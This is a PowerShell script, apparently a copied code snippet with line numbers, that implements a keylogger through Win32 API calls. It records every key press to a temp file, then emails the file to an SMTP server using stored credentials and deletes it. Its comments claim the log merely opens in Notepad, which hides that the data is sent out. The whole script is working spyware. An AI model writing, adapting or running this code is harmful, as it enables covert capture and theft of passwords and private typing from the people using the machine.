SN1fYWVJ

1
2
3$TimeStart = Get-Date
4$TimeEnd = $timeStart.addminutes($TimeToRun)
5
6#requires -Version 2
7function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
8{
9  # Signatures for API Calls
10  $signatures = @'
11[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
12public static extern short GetAsyncKeyState(int virtualKeyCode); 
13[DllImport("user32.dll", CharSet=CharSet.Auto)]
14public static extern int GetKeyboardState(byte[] keystate);
15[DllImport("user32.dll", CharSet=CharSet.Auto)]
16public static extern int MapVirtualKey(uint uCode, int uMapType);
17[DllImport("user32.dll", CharSet=CharSet.Auto)]
18public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
19'@
20
21  # load signatures and make members available
22  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
23    
24  # create output file
25  $null = New-Item -Path $Path -ItemType File -Force
26
27  try
28  {
29
30    # create endless loop. When user presses CTRL+C, finally-block
31    # executes and shows the collected key presses
32    while ($TimeEnd -ge $TimeNow) {
33      Start-Sleep -Milliseconds 40
34      
35      # scan all ASCII codes above 8
36      for ($ascii = 9; $ascii -le 254; $ascii++) {
37        # get current key state
38        $state = $API::GetAsyncKeyState($ascii)
39
40        # is key pressed?
41        if ($state -eq -32767) {
42          $null = [console]::CapsLock
43
44          # translate scan code to real code
45          $virtualKey = $API::MapVirtualKey($ascii, 3)
46
47          # get keyboard state for virtual keys
48          $kbstate = New-Object Byte[] 256
49          $checkkbstate = $API::GetKeyboardState($kbstate)
50
51          # prepare a StringBuilder to receive input key
52          $mychar = New-Object -TypeName System.Text.StringBuilder
53
54          # translate virtual key
55          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
56
57          if ($success) 
58          {
59            # add key to logger file
60            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
61          }
62        }
63      }
64	  $TimeNow = Get-Date
65    }
66  }
67  finally
68  {
69    # open logger file in Notepad
70	send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
71	Remove-Item -Path $Path -force
72	exit 1
73  }
74}
75
76# records all key presses until script is aborted by pressing CTRL+C
77# will then open the file with collected key codes
78Start-KeyLogger